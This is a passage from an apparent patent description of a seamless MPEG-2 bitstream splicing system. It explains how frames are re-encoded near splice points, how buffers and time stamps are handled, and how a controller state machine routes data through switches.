As shown in FIG. 5A, no re-encoding, only re-ordering, is necessary when the splice point 502 is after an anchor frame in the first bitstream and before an I-picture in the second bitstream (both bitstreams in display order). In such a case, the present invention switches from outputting the pictures of the first bitstream to outputting the pictures of the second bitstream at the splice point, entry point 502. However, as shown in the coded order equivalent there is a transition point after the splice point 502, where the first anchor frame of the second bitstream after the spice point, i6 is re-ordered. FIG. 5B illustrates a similar case where the splice point 504 is after an anchor frame in the first bitstream, but before a P-picture, p6, in the second bitstream, shown in display order. In this case, the P-picture, p6, is preferably re-encoded to an I-picture, i6*, since the previous P-picture, p3, in the second bitstream will not be part of the spliced bitstream and not available for reference. Otherwise the first and second bitstreams remain unchanged. The spliced bitstream then becomes the first bitstream until the splice point 504, the re-encoded I-picture, i6*, and the second bitstream from to picture after the re-encoded P-picture, p6. Those skilled in the art will recognize that an alternate embodiment of the present invention could instead re-order and replace picture, p6, with a re-encoded picture, p6*, that references P5 in place of picture i6*.
FIG. 5C illustrates the case where the splice point 506 is after an anchor frame in the first bitstream, but before a B picture in the second bitstream, both in display order. In this case, a re-encoded I-picture, i7*, based on the old P-picture, p7, of the second bitstream replaces the P-picture, p7, and the B-pictures, if any, of the second bitstream from the splice point 506 up to the next anchor picture in the second stream are re-encoded using the new I-picture, i7* as a reference. Thus, for the particular case shown in FIG. 5C, the new I-picture, i7*, replaces p7 and the B picture, b6*, is re-encoded based on the new I-picture. Otherwise, the spliced bitstream is the first bitstream before the splice point 506 and the second bitstream after the splice point 506 (e.g., from p10 on). While the present invention is shown in FIGS. 5A-5F as avoiding cross picture encoding (coding from B to an anchor picture, I or P, or vice versa), it should be understood that the present invention applies equally to when cross picture encoding is performed, however, cross picture encoding requires picture order swapping, thus leads to larger buffer requirements. Also, since B-pictures have lower quality and cross picture coding would produce anchor frames of lower quality. It should also be noted that present invention could do the encoding using the two bitstreams, but does not. For example, the re-encoded B picture, b6*, is preferably re-encoding using only reference to re-encoded I-picture, i7*, and without reference to picture P5. Those skilled in the art will recognize that in an alternate embodiment of the present invention, b6 and p7 could be replaced by re-encoded b6* and b7*, respectively, both referencing P5 and p10.
FIG. 5D illustrates the case where the splice point 508 is after a B picture in the first bitstream and before an I-picture in the second bitstream, both in display order. In this case, no encoding of the second bitstream is needed and only a portion of the first bitstream is re-encoded. However, the order of the frames is adjusted to put the I-picture from the second bitstream before the re-encoded B-pictures of the first bitstream that are after the last anchor frame and before the splice point 508. For the particular case shown in FIG. 5D, this means that I-picture, i7, is moved before picture B6, and picture B6 is re-encoded to B6*. The first bitstream prior to the splice point 508, and the second bitstream after the splice point otherwise form the spliced bitstream. It should be noted that re-encoded picture, B6*, is preferably re-encoded only with reference to picture p6 and without reference to picture i7. FIG. 5E illustrates a similar case to FIG. 5D except that the splice point 510 in display order is followed by a P-picture as opposed to an I-picture. In this case the P-picture after the splice point 508 is re-encoded as an I-picture, i7*, and re-ordered for coding order. Again, those skilled in the art will recognize that in an alternate embodiment of the present invention, p7 could be replaced by re-encoded b7* that references P5 and p10. Again, re-encoded picture, B6*, is preferably re-encoded only with reference to picture P6 and without reference to picture i7* to avoid having to re-encode from both bitstreams which would require additional hardware and introduce additional error since the content in the two streams will typically be unrelated.
FIG. 5F illustrates the final case where the splice point 512 is after a B picture in the first bitstream and before a B picture in the second bitstream, both in display order. In this case, frames of both the first and second bitstreams proximate the splice point 512 must be re-encoded. With particular reference to the bitstreams shown in FIG. 5F, the B-pictures B6 and b7 are re-encoded to be B6* and b7*, respectively, with reference to P5 and i8* alone respectively, and the P-picture p8 is re-encoded as i8*. Those skilled in the art will notice that the P-picture p8 could also be re-encoded as p8* referencing P5 as opposed to being a new I-picture.
Referring now to FIG. 6, a preferred embodiment of the splicing system 600 of the present invention is shown. The preferred embodiment of the splicing system 600 preferably comprises a first pre-buffer 602, a second pre-buffer 604, a seamless splicer 606, a post-buffer 608, a time stamp extractor 610, a time stamp adjuster 612, and a time stamp replacer 614. As shown in FIG. 6, the present invention advantageously has the first pre-buffer 602, the second pre-buffer 604, and the post buffer 608. This configuration is particularly advantageous because it allows the seamless splicer 606 to perform essentially real-time re-encoding. The first pre-buffer 602 has an input and an output. The input of the first pre-buffer 602 is preferably coupled to receive a first bitstream. The output of the first pre-buffer 602 is coupled to a first input of the seamless splicer 606. The second pre-buffer 604 similarly has an input an output. The input of the second pre-buffer 604 is coupled to receive a second bitstream. The output of the second pre-buffer 604 is coupled to a second input of the seamless splicer 606. A third input of the seamless splicer 606 is coupled to receive a cue tone signal. In alternate embodiments, the cue tone signal may be extracted from the second bitstream signal as indicated by signal line 620. The first and second pre-buffers 602, 604 are preferably buffers and each has a size for holding frames of video data. The data provided in the first and second bitstreams to the first and second pre-buffers 602, 604 is typically in coded order. In order to perform splicing, the assignment of spliced picture location must be known well ahead of time. This buffering allows the present invention to know the splice point ahead of time.
The seamless splicer 606 receives both the first stream of data buffered by the first pre-buffer 602 and this signal is referred to as Vdata1, and also the second stream of data buffered by the second pre-buffer 604 and this signal is referred to as Vdata2. The seamless splicer 606 switches between outputting the Vdata1 signal and outputting the Vdata2 signal in response to the cue tone signal. The details of the seamless splicer 606 will be described more particularly below with reference to FIGS. 7 and 8. The output out of the seamless splicer 606 is coupled to the input of the post-buffer 608.
The post-buffer 608 is preferably a buffer of a conventional type. The post-buffer 608 is preferably about the same size as the first pre-buffer 602. The post-buffer 608 in combination with the first and second pre-buffers 602, 604 are used to regulate the transmission data through the seamless splicer 606. One key idea behind the present invention is the use of long lead time buffering of live stream and do real-time or non-real-time off-line reconstruction of anchor frames from the given P and B pictures. This lead-time is created using the first and second pre-buffers 602, 604 and the post-buffer 608.
The output of the first pre-buffer 602 and the output of the second pre-buffer 604 are also coupled to inputs of the time stamp extractor 610. The time stamped extractor 610 removes timing data from the Vdata1 signal and the Vdata2 signal. In particular, signals such as the program clock reference (PCR) and the presentation time stamp (PTS/DTS) signals are removed from either the Vdata1 signal of the Vdata2 signal for further processing. The program clock reference signal is a signal used to indicate what time it is. In other words, the program clock reference signal identifies a clock signal that can be used for timing and decoding of the video stream. The PTS/DTS signals are used to indicate when particular frames or pictures are to be displayed. Usually this refers to the time stamps encoded in the bitstream. However, in some applications, where the absolute presentation time of a picture depends on the splicing point (or switch time), PTS here refers to the time where the corresponding picture should be presented in the resulting spliced stream. This value may have no relation with the PTS value encoded in the bitstream. In other words, the PTS/DTS signals indicate the relative sequence in time for the frames or pictures. The time stamp extractor 610 preferably has a plurality of outputs to provide these timing signals, one set for each stream. The time stamp extractor 610 receives the Vdata1 signal of the Vdata2 and extracts a PCR and a PTS/DTS signal for both the first bitstream and for the second bitstream. These signals are provided on respective outputs of the time stamp extractor 610. The time stamp extractor 610 is of a conventional type known to those skilled in the art. The notable difference is that there is a time stamp extractor for each video data stream.
The time stamp adjuster 612 preferably has a plurality of inputs and a pair of outputs. The inputs of the time stamp adjuster 612 are preferably coupled to the outputs of the time stamp extractor 610. The time stamp adjuster 612 receives a PCR signal and PTS/DTS signal for each video data stream from the time stamp extractor 610 and outputs one PCR signal and one PTS/DTS signal. The time stamp adjuster 612 also receives the cue tone signal (not shown) such that the time stamp adjuster 612 can adjust the PCR signal and PTS/DTS signal during the interval when the second bitstream is spliced into the first bitstream. The time stamp adjuster 612 performs time stamp correction to adjust the time stamps (PCR, PTS, DTS) from the incoming bitstreams so as to provide a continuous time base in the output spliced stream. The time stamp adjuster 612 performs time stamp correction by adjusting the time stamps (PCR, PTS, DTS) from the incoming bitstreams so as to provide a continuous time base in the output spliced stream. The time stamp adjuster 612 does so by adjusting the PCR and PTS/DTS signals from both the first bitstream and the second bitstream to generate a new time base and presentation times. In this manner, the time stamp adjuster 612 is able to output a PCR and PTS/DTS signals that can be used by any MPEG-2 decoder in decoding the spliced bitstream. The time stamp adjuster 612 will be described in more detail below with reference to FIGS. 11 and 15.
The outputs of the time stamp adjuster 612 are coupled to respective inputs of the time as stamp replacer 614. The time stamp replacer 614 has an additional input coupled to the output of the post-buffer 608. The time stamp replacer 614 receives the video data bitstream from the post-buffer 608 and combines it with the adjusted PCR and the PTS/DTS timing signals to produce a single transmission signal that is MPEG-2 compliant. The time stamp replacer 614 operates in a conventional manner and could be anyone of the existing conventional circuits used to perform a time stamped placing function.
Referring now to a FIG. 7, a first and preferred embodiment of the seamless splicer 606a is shown. More particularly, FIG. 7 shows the data paths provided within the seamless splicer 606a. The preferred embodiment of the seamless splicer 606a comprises: a first variable length decoder 702, a second variable length decoder 708, a recoding unit 704, a variable length encoder 706, first and second inverse transformers 710, 720, a first and second reference memories 712, 722, and first and second transformers 714, 724. Collectively, the first inverse transformer 710, the first reference memory 712, and the first transformer 714 provide a first anchor frame re-generation unit, and the second inverse transformer 720, the second reference memory 722, and the second transformer 724 form a second anchor frame re-generation unit. The seamless splicer 606a further comprises a plurality of switches sw1, sw2, sw3, sw4, sw5 and sw6 to provide various paths through which to route video data to the output of the seamless splicer 606a. The seamless splicer 606a will first be described with respect to its constituent components and data paths using FIG. 7 and then its operation and control with regard to FIGS. 9 and 10.
The first variable length decoder 702 preferably has an input and an output. The input of the first variable length decoder 702 is preferably coupled to the output of the first pre-buffer 602 to receive the Vdata1 signal. The first variable length decoder 702 performs variable length decoding of the Vdata1 signal to produce DCT coefficients and motion vectors. The first variable length decoder 702 is one of various conventional types known to those skilled in the art. The output of first variable length decoder 702 is coupled to the third switch sw3 and a node of the first switch sw1. The third switch sw3 couples the output of the first variable length decoder 702 to an input of the first inverse transformer 710 when the third switch sw3 is closed. The first switch sw1 couples the output of the first variable length decoder 702 to an input of the recoding unit 704 in one position.
The second variable length decoder 708 is similarly coupled to the fifth switch sw5 and a node of the first switch sw1. The second variable length decoder 708 preferably has an input and an output. The input of the second variable length decoder 708 is coupled to the output of the second pre-buffer 604 to receive the Vdata2 signal. The second variable length decoder 708 performs variable length decoding of the Vdata2 signal to produce DCT coefficients and motion vectors. The second variable length decoder 708 is also one of various conventional types known to those skilled in the art, and may be identical to the first variable length decoder 702. The fifth switch sw5 couples the output of the second variable length decoder 708 to an input of the second inverse transformer 720 when the fifth switch sw5 is closed. The first switch sw1 couples the output of the second variable length decoder 708 to the input of the recoding unit 704 in a second position. In a third position, the first switch sw1 is open and coupled neither the first or second variable length decoders 702, 708 to the recoding unit 704.
The input of the recoding unit 704 is coupled to switch sw1 and the output of the recoding unit 704 is coupled to a node of the second switch sw2. The recoding unit 704 preferably performs rate conversion on the input bitstreams to eliminate buffer compliance and rate mismatch problems that may occur due to splicing. By recoding the first bitstream, the first second bitstream or both the first and second bitstreams or by variably recoding either or both of the first and second bitstreams, the present invention ensures that the decoder buffer will not under flow or overflow. For the present invention, recoding is defined in its broadest sense to include partial decoding, re-coding, re-quantization, re-transforming and re-encoding. Referring now to FIG. 16, each of these type of recoding are defined with more particularity. FIG. 16 is used to show various possibilities for re-coding. Some of the elements shown may also be needed for decoding and encoding of the video data. Hence in actually implementation, these common elements may be shared between the recoder 704 and the decoder/encoder 702, 704, 706. Partial decoding refers to path E where the bitstream is partially decoded, decode system syntax, and video syntax down to the picture header to perform frame accurate flexible splicing. Re-coding refers to path D where variable length encoding and decoding are performed and the DCT coefficients may be truncated to zero without even going through the inverse quantization steps. This approach requires the least processing, but in general causes the greatest amount of quality degradation. Re-quantization refers to path C where variable length encoding, dequantization, quantization and decoding are performed but no transform coding is used. The transform coefficients (DCT coefficients) are requantized before VLC encoded back. This is the approach preferably used for the recoding unit 704. Re-transformation refers to path B where variable length encoding, de-quantization, inverse transform, transform coding, quantization and decoding are performed. The video frames are constructed without using motion compensation. In the case of B or P pictures, this would mean some of the coded blocks are motion estimated residual errors. Some form of spatial filtering may be used before forward transform coding is used in the encoding process. Re-encoding refers to path A where the bitstreams are complete decoded to raw video and then encoded including the use of motion compensation. Each of the paths A, B, C, D, E includes a rate converter for adjusting the rate of the bitstream to ensure buffer compliance. Each of the rate converters may be different. For example, the rate converter on path A may be a spatial filter and the rate converter on path C may perform a quantization step size adjustment while the rate converter on path D performs high frequency elimination. Those skilled in the art will also recognize that the components of the recoding unit 704 used (e.g., the path through the recoding unit 704) could also be variably controlled to provide variable bit rate conversion using the recoding unit 704. In various embodiments, the recoding unit 704 may include all, only some or any combination of these components according to which of re-coding, re-quantization, re-transforming and re-encoding is performed.
The present invention is particularly advantageous because of its use of the recoding unit 704 to eliminate both the rate mismatch problems and decoder buffer compliance problems of the prior art. Specifically, both problems are those of determining the number of bits allowed for encoding a video frame so that the decoder buffer does not over or under flow during the real time transmission. The buffer compliance problem focuses on what happens during and around the splicing point, and the rate matching problem focuses on the entire operation. For example, if the network feed and the stored bitstreams have different rates, if no further re-coding or bit stuffing is used, the receiving decoder buffer would either over or under flow. It is important to point out that the present invention solves the rate mismatch problem whether the two participating bitstreams in the splicing operation have a constant bit rate, and even for the general case where the two bits streams have variable bit rates. For splicing two variable bit rate streams together, the rate matching operation is really a process of shaping the bitstream rate of the second stream so that the resulting bit rate profile fits the available bandwidth. Both bit reduction (through re-coding) and bit stuffing (through filler data or filler packet insertion) can be used, depending on the relationship between the first bitstream rate and the second bitstream rate. If the first stream is part of a statistically multiplexed bitstream, its share of the overall bandwidth is determined by the statistical multiplexer, which may be in a remote location. If splicing replaces the first stream with a second one, the available bandwidth may or may not be the same as the bit rate of the new stream. These cases are handled as follows. First, if the available bandwidth left open by the first stream, after the splicing, is less than the bit rate of the second stream, there are several alternatives: 1) perform re-coding on the second stream so that the resulting bit rate profile is ‘shaped’ to fit into the available bandwidth left open by the first stream; 2) perform recoding on all of the video programs in the same multiplex so that the available bandwidth for the second stream is increased to the level of the second stream; 3) perform a combination of the above two alternatives: re-code both the second stream and the rest of the streams in the multiplex such that the overall bit rate of the multiplex fits a constant bandwidth. Second, if the available bandwidth left open by the first stream, after the splicing, is more than the bit rate of the second stream, there are also several alternatives: 1) add stuffing bytes into the video stream. In the MPEG-2 case, this would mean either adding stuffing bytes in the elementary stream or adding null packets; 2) use the spare bandwidth to carry additional information, such as non-real-time data, or auxiliary data that enhance the capability of the receiver. Again, the re-coding done to achieve rate matching is fundamentally identical to that of buffer compliance problem. Thus, the present invention ensures that the decoder buffer does not over or under flow, regardless whether it is at splicing point or before/after the splicing.
The second switch sw2 has three possible positions: closed on a first node, closed on a second node, or closed on the third node. One end of the second switch sw2 is coupled to the input of the variable length encoder 706. The variable length encoder is of a conventional type and performs variable length coding on input values of DCT coefficients and motion vectors. The output of the variable length encoder 706 provides the output of the seamless splicer 606.
As noted above, the input of the first inverse transformer 710 is coupled to the third switch sw3. This component performs de-quantization, inverse discrete cosine transformation, motion compensation and re-ordering. The first inverse transformer 710 receives a bitstream that is in coded order but that has been variable length decoded. The first inverse transformer 710 operates on the bitstream to generate raw video images and stores them in the reference memory 712. In the preferred embodiment, the first inverse transformer 710 includes a de-quantization unit coupled to an inverse discrete cosine transformation unit, and the inverse discrete cosine transformation unit coupled to a motion compensation unit. Each of these units can be of a conventional type known in the art. The output of the first inverse transformer 710 is coupled to the reference memory 712.
The first reference memory 712 is preferably a memory of a conventional type such as random access memory and is used to store raw video data. The reference memory 712 is preferably sized such that it can hold three frames of video data. The first reference memory 712 has an input coupled to the output of the first inverse transformer 710, and an output coupled to the input of the first: transformer 714 by the fourth switch sw4. The fourth switch sw4 allows the reference memory 712 to be constructed for the given bitstream, but not used for re-encoding until the fourth switch sw4 is closed.
As noted above, the input of the first transformer 714 is coupled to the fourth switch sw4. This component performs motion estimation, discrete cosine transformation, and quantization. The first transformer 714 receives a raw video bitstream in display order from the first reference memory 712 via the fourth switch sw4. The first transformer 714 re-orders the bitstream and operates on the bitstream to covert it to a compressed video bitstream before outputting them to the second switch sw2. In the preferred embodiment, the first transformer 714 includes reordering unit coupled to a motion estimation unit that in turn is coupled to a discrete cosine transformation unit and a quantization unit. The output of the quantization unit provides the output of the first transformer 714. The first inverse transformer 710, the first reference memory 712, and the first transformer 714, thus, allows any frames routed throughout them to be re-encoded as desired.
The second inverse transformer 720 is preferably similar to the first inverse transformer 710 in functionality but is used for performing de-quantization, inverse discrete cosine transformation, motion compensation and re-ordering of the second bitstream. The second inverse transformer 720 has an input coupled to switch sw5 and an output coupled to the second reference memory 722. The second reference memory 722 performs a similar function to the first reference memory 722 and its output is coupled by the sixth switch to the second transformer 724. The second transformer 724 is preferably identical to the first transformer 714 and its output is coupled to a final node of the second switch sw2. The second inverse transformer 720, the second reference memory 722, and the second transformers 724, thus, allow any frames routed through them to be re-encoded as desired. Thus, depending on the node to which the second switch sw2 is connected (and other switch settings), it may provide either a requantized version of the first bitstream from the first variable length decoder 702, requantized version of the second bitstream from the second variable length decoder 708, a re-encoded version of the first bitstream from the first transformer 714 or a re-encoded version of the second bitstream from the second transformer 724.
While FIG. 7 has shown the preferred embodiment of the splicer 606a as including a plurality of switches sw1-sw6, those skilled in the art will recognize that the invention may be implemented as electronically controlled physical switches or in software. In either case, when a switch is open, the operation connected to the output side of the switch sw1-sw6 need not be performed.
Referring now to FIG. 8, a second alternate embodiment for the seamless splicer 660b is shown. In this alternate embodiment, like reference numerals and terms consistent with the above description of the components of the first seamless splicer 606a of FIG. 7 are used for ease of understanding and convenience. The second embodiment of the seamless splicer 606b assumes that the second bitstreams Vdata2 will always begin in coded order with an I-picture and end with an B-pictures”, and any B pictures immediately following the first I-picture do not use the previous frame. (This assumes the first GOP in the second stream is a closed GOP.). For example, a common case of this where the first bitstream is a live video feed and the second bitstream is an already stored and formatted advertisement. Since the second bitstream has been created, encoded and stored long before transmission, it can be sure to be formatted so that the above conditions are met. Such an assumption will eliminate the need for re-encoding of the second bitstream. More particularly, such an assumption eliminates the possibility of the type of splicing described above with reference to FIGS. 5B, 5C, 5E and 5F. Therefore, the second inverse transformer 720, the second reference memory 722, the second transformer 724 and the to fifth and sixth switches sw5, sw6 may be eliminated and the second switch sw2 simplified in this second embodiment of the seamless splicer 606b. As shown in FIG. 8, the second switch sw2 has three possible states including coupled to a first node to connect to the first transformer 714, coupled to a second node to connect with the recoding unit 704.
Referring now to FIG. 9, a preferred embodiment for the control portions of the seamless splicer 606a are described. The seamless splicer 606a further comprises a cue tone detector 902, a count down switch 904, a splicer controller 906 and a frame detector and parser 908. These components are coupled together to receive and detect signals out of the first and second bitstreams, and in response, generate signals to control the switches sw1-sw6 to provide alternate data paths through the seamless splicer 606a such that the spliced bitstream output provides the frame accurate splicing between the first bitstream second bitstream.
The cue tone detector 902 has an input and output. For convenience and ease of understanding, FIG. 9 illustrates the cue tone detector 902 as having two inputs, one for each embodiment. In one embodiment, the input is coupled to separate network (not shown) to receive a cue tone signal. In the other embodiment, the input of the cue tone detector 902 is coupled to line 620 to received a cue tone signal from either the first pre-buffer 602 or the second pre-buffer 604. That cue tone detector 902 generates signal at its output to indicate that a cue tone signal has been detected. In one embodiment, the cue tone detector 902 is a comparator and latch that compare the signal on the input to predefined definitions for the cue tone signal and output a signal for predetermined amount time upon detection of a matching comparison. The output of the cue tone detector 902 is preferably coupled to an input of splicer controller 906.
The frame detector and parser 908 has first and second inputs and an output. The first input of frame detector and parser 908 is coupled to the output of the first pre-buffer 602 and the second input of the frame detector and parser 908 is coupled to the output of the second pre-buffered 604. The frame detector and parser 908 preferably includes a plurality of comparators for comparing the first and second bitstreams received from the first pre-buffer 602 and the second pre-buffer 604, respectively, to determine the picture or frame type and the presentation time stamp. The picture coding type information (I, P or B) is sent in the picture header within the bitstream. The frame detector and parser 908 parses each bitstream and scans the header to find out the picture coding type. This information is provided at the output of frame detector and parser 908. The output of the frame detector and parser 908 is coupled to the input of the splicer controller 906 and is used in determining the settings of the six switches sw1-sw6. In one embodiment, the frame detector and parser 908 only detects anchor frames during the count down and does not detect B-frames during this time period.
The countdown switch 904 has an input and an output. The countdown switch 904 preferably has its input coupled to an output of the splicer controller 906, and its output coupled to an input of the splicer controller 906. The countdown switch 904 remains idle until enabled by a control signal applied at its input from the slice controller 906. Once the enable signal is asserted, the countdown switch 904 begins to count a predetermined amount of time until the splice point is reached. A predetermined amount of time is preferably an amount sufficient to create within the reference memories 712, 722 data sufficient to allow re-encoding. Once the predetermined amount of time has lapsed, such is indicated by countdown switch 904 to the splicer controller 906 by asserting a signal on its output.
The splicer controller 906 preferably has a plurality of inputs and a plurality of outputs. The plurality the inputs of the splicer controller 906 are coupled to the outputs of the cue tone detector 902, the countdown switch 904, and the frame detector and parser 908 as has been described in detail above. The splicer controller 906 preferably has at least one output corresponding to each of the first through sixth switches sw1-sw6 so that the splicer controller 906 can position the first through sixth switches sw1-sw6 in the positions described above with reference to FIG. 7. The splicer controller 906 is preferably composed of combination logic. In alternate embodiment, the splicer controller 906 is a microcontroller programmed to control the six switches sw1-sw6 in accordance with the state diagram of FIG. 10 which will be described below. In addition to the operations described with reference to FIG. 10, the splicer controller 906 also detects the presentation time stamps (PTS) located within the first and second bitstreams received from the first pre-buffer 602 and the second pre-buffer 604, respectively. From the PTS, the splicer controller 906 is able to determine the splice time and appropriately open and close the first through sixth switches sw1-sw6. Those skilled in the art will recognize that to the splicer controller 906 determines the splice time based on the cue tone input. The PTS is usually sent only occasionally just to correct the drift between the encoder and decoder clocks. Since there is no guarantee that a PTS will be sent for each picture, the splicer controller 906 also calculates an approximate PTS using its own clock, the last sent PTS, and the inter-picture interval. Those skilled in the art will also recognize that a similar state machine to that described below with reference to FIG. 10 may be created to control the switches of the second embodiment of the seamless splicer 606b shown in FIG. 8.
FIG. 10 illustrates a state diagram for the preferred operation of the splicer controller 906. The splicer controller 906 preferably has eleven states and in each state the splicer controller 906 selectively activates one or more of the switches sw1-sw6. Typically, the splicer controller 906 would operate in STATE ZERO. In STATE ZERO, the first switch sw1 is positioned to provide the output of the first variable length decoder 702 to the recoding unit 704; the second switch sw2 is positioned to coupled the recoding unit 704 to the variable length encoder 706, and the third through sixth switches sw3-sw6 are positioned open. The splicer controller 906 would remain in STATE ZERO and continue to re-encoding data from the first bitstream. Once a cue tone has been detected and after a predetermined amount of time, the splicer controller 906 transitions from STATE ZERO to STATE ONE. Preferably, the countdown does not start right away. Usually, the cue tone is sent with a significant lead-time before the splicing point. For example, as much as 10 seconds before switching need to begins, if a lead time of one second is needed to fill the reference memories 712, 722 then the countdown would be enabled 9 seconds after the cue tone is received. In other words, the splicer controller 906 would not transitions from STATE ZERO to STATE ONE until the count down needed to begin, or after 9 seconds.
In STATE ONE, the first switch sw1 continues to couple the first variable length decoder 702 to the recoding unit 704, the second switch sw2 continues to couple the recoding unit 704 to the variable length encoder 706, and the fourth and the sixth switches sw4, sw6 continue to be positioned opened. The countdown switch 904 is enabled, and the third and the fifth switches sw3, sw5 are changed to the closed position to provide the decoded first bitstream to the first reference memory 712 and the decoded second bitstream to the second reference memory 722, respectively. Note that actually only anchor frames need to be processed to build up the reference frame. The B pictures can be skipped during this countdown period. The splicer controller 906 remains in STATE ONE until the countdown switch 904 signals that the current picture is beyond the slice point. Once such a signal is received by the splicer controller 906 from the countdown switch 904, the splicer controller transitions to STATE THREE. For the use of understanding and convenience, in describing the remaining states only the changes in switch position or operation from the previously will be noted.
In STATE THREE, the sixth switch sw6 is closed to provide raw video data to the second transformer 724, and the second switch is positioned to coupled the output of the second transformer 724 to the input of the variable length decoder 706. The second transformer will choose the first anchor frame in the second stream after the splice point to process. It is possible that the anchor frame is not in the reference memory 722 yet. In this case, the splicer 606a will need to wait for this frame to be stored in the reference memory 722. Thus, the splicer controller 906 changes the data path through the seamless splicer 606a to provide re-encoded frames from the second bitstream at the output. This continues until one of the following conditions occurs. First, if there are (1) no B-pictures after the detected anchor in the first bitstream with a PTS before the splice point, and (2) no B-pictures after the first anchor of the second bitstream with PTS after the splice point, then the splicer controller 906 transitions from STATE THREE to STATE SIX. This is the case illustrated in FIG. 5A where no re-encoding of B-pictures from either stream is necessary. This is done immediately without having to re-encode the first anchor frame after the spice point in the second stream has been re-encoded. Second, if there are (1) no B-pictures after the detected anchor in the first bitstream with a PTS before the splice point, and (2) B-pictures after the first anchor of the second bitstream with PTS after the splice point, then the splicer controller 906 transitions from STATE THREE to STATE FIVE. This is the case of FIG. 5B or 5C where it is not necessary to re-encode any frames from the first stream, but some frames of the second stream must be re-encoded. This done after the first anchor frame after the spice point in the second stream has been re-encoded. Finally, if there are B-pictures after the detected anchor in the first bitstream with a PTS before the splice point, the splicer controller 906 transitions from STATE THREE to STATE FOUR. This is the case of either FIGS. 5D, 5E or 5F, where it is necessary to re-encode some frames from the first stream, and it 11 may or may not be necessary to re-encode some frames of the second stream. This done after the first anchor frame after the spice point in the second stream has been re-encoded, if necessary.
In STATE FOUR, the second switch sw2 is positioned to couple the first transformer 714 to the variable length encoder 706. Also, the fourth switch sw4 is closed and the sixth switch sw6 is opened. In this state, the seamless splicer 606a provides the data that produces re-encoded frames from the first bitstream. The seamless splicer 606a remains in STATE FOUR until all the B-frames of the first bitstream after the last anchor frame but before splice point have been re-encoded. Once the last such B-frame of the first stream has been re-encoded, the splicer controller 906 transitions from STATE FOUR to either STATE FIVE or STATE SIX. If there are no B-pictures after the first anchor of the second bitstream with a PTS after the splice point, then the splicer controller 906 transitions to STATE FIVE to re-encode those frames. However, if there are B-pictures after the first anchor of the second bitstream with PTS after the splice point, then the splicer controller 906 transitions to STATE SIX and begins outputting the second bitstream without re-encoding but requantized.
In STATE FIVE, the second switch sw2 is coupled to connect the second transformer 724 to the variable length encoder 706. Also, the fourth switch sw4 is opened and the sixth switch sw6 is closed. In this state, the seamless splicer 606a returns to providing the re-encoded B-frames from the second bitstream at its output. After all the B-frames from the second bitstream up to the first anchor frame with a PTS after the splice point have been re-encoded, the splicer controller 906 transitions from STATE FIVE to STATE SIX.
In STATE SIX, the splicer controller 906 sets the first switch sw1 to couple the second video length decoder 708 to the input of the recoding unit 704. The splicer controller 906 also sets the second switch sw2 to couple the output of the recoding unit 704 to the input of the variable length decoder 706. Finally, the third to sixth switches sw3-sw6 are returned to the open position. In this state, the seamless splicer 606a outputs second bitstream re-coded such that it only passes through the second variable length decoder 708, the recoding unit 704 and the variable length encoder 706. The seamless splicer 606a remains in this state until another cue tone is detected and the same predetermined amount of time as in STATE ZERO has lapsed. Such a cue tone indicates the end of the digital picture insertion is coming and that the seamless splicer 606a will return to outputting the first bitstream. The slice controller 906 transitions from STATE SIX to STATE SEVEN upon detection of a cue tone and passage of the predetermined amount of time.
Those skilled in the art will recognize that STATES ONE to STATE FIVE relate to the entry point splicing and STATES SEVEN to STATE ELEVEN relate to the entry point splicing. These states are respectively equivalent except that the stream order is reversed.
In STATE SEVEN, the splicer controller 906 enables the countdown switch 904, the third and the fifth switches sw3, sw5 are closed to provide the decoded first bitstream and the decoded second bitstream to the first reference memory 712 and the second reference memory 722, respectively. The splicer controller 906 remains in STATE SEVEN until the countdown switch 904 signals that the current picture is beyond the slice point. Once such a signal is received by the splicer controller 906 from the countdown switch 904, the splicer controller 906 transitions to STATE NINE.
In STATE NINE, the fourth switch sw4 is closed to provide raw video data to the first transformer 714, and the second switch is positioned to coupled the output of the first transformer 1014 to the input of the variable length decoder 706. Thus, the splicer controller 906 changes the data path through the seamless splicer 606a to provide re-encoded frames from the first bitstream at the output. Similar to STATE THREE, this continues until one of the following conditions occurs. First, if there are (1) no B-pictures after the detected anchor in the second bitstream with a PTS before the splice point, and (2) no B-pictures after the first anchor of the first bitstream with PTS after the splice point, then the splicer controller 906 transitions from STATE NINE to STATE ZERO. This is the case illustrated in FIG. 5A where no re-encoding of B-pictures from either stream is necessary. This is done immediately without having to re-encode the first anchor frame after the spice point in the first stream has been re-encoded. Second, if there are (1) no B-pictures after the detected anchor in the second bitstream with a PTS before the splice point, and (2) B-pictures after the first anchor of the first bitstream with PTS after the splice point, then the splicer controller 906 transitions from STATE NINE to STATE ELEVEN. This is the case where it is not necessary to re-encode any frames from the second stream, but some frames of the first stream must be re-encoded. This done after the first anchor frame after the spice point in the first stream has been re-encoded. Finally, if there are B-pictures after the detected anchor in the second bitstream with a PTS before the splice point, the splicer controller 906 transitions from STATE NINE to STATE TEN. This is the case where it is necessary to re-encode some frames from the second bitstream, and it may or may not be necessary to re-encode some frames of the first stream. This done after the first anchor frame after the spice point in the first stream has been re-encoded, if necessary.
In STATE TEN, the second switch sw2 is positioned to couple the second transformer 724 to the variable length encoder 706. Also, the fourth switch sw4 is opened and the sixth switch sw6 is closed. In this state, the seamless splicer 606a provides the data that produces re-encoded frames from the second bitstream. The seamless splicer 606a remains in STATE TEN until all the B-frames of the second bitstream after the splice point are detected. Once the last such B-frames is re-encoded, the splicer controller 906 transitions from STATE TEN to either STATE ELEVEN or STATE ZERO. If there are B-pictures after the first anchor of the first bitstream with PTS after the splice point, then the splicer controller 906 transitions to STATE ELEVEN to re-encode those frames. However, if there If there are no B-pictures after the first anchor of the first bitstream with PTS after the splice point, then the splicer controller 906 transitions to STATE ZERO and returns to outputting the first bitstream without re-encoding and only with requantization.
In STATE ELEVEN, the second switch sw2 is coupled to connect the first transformer 714 to the variable length encoder 706. Also, the fourth switch sw4 is closed and the sixth switch sw6 is opened. In this state, the seamless splicer 606a returns to providing re-encoded frames from the first bitstream at its output. Upon detecting an anchor frame in the first bitstream, the splicer controller 906 transitions from STATE ELEVEN to STATE ZERO.
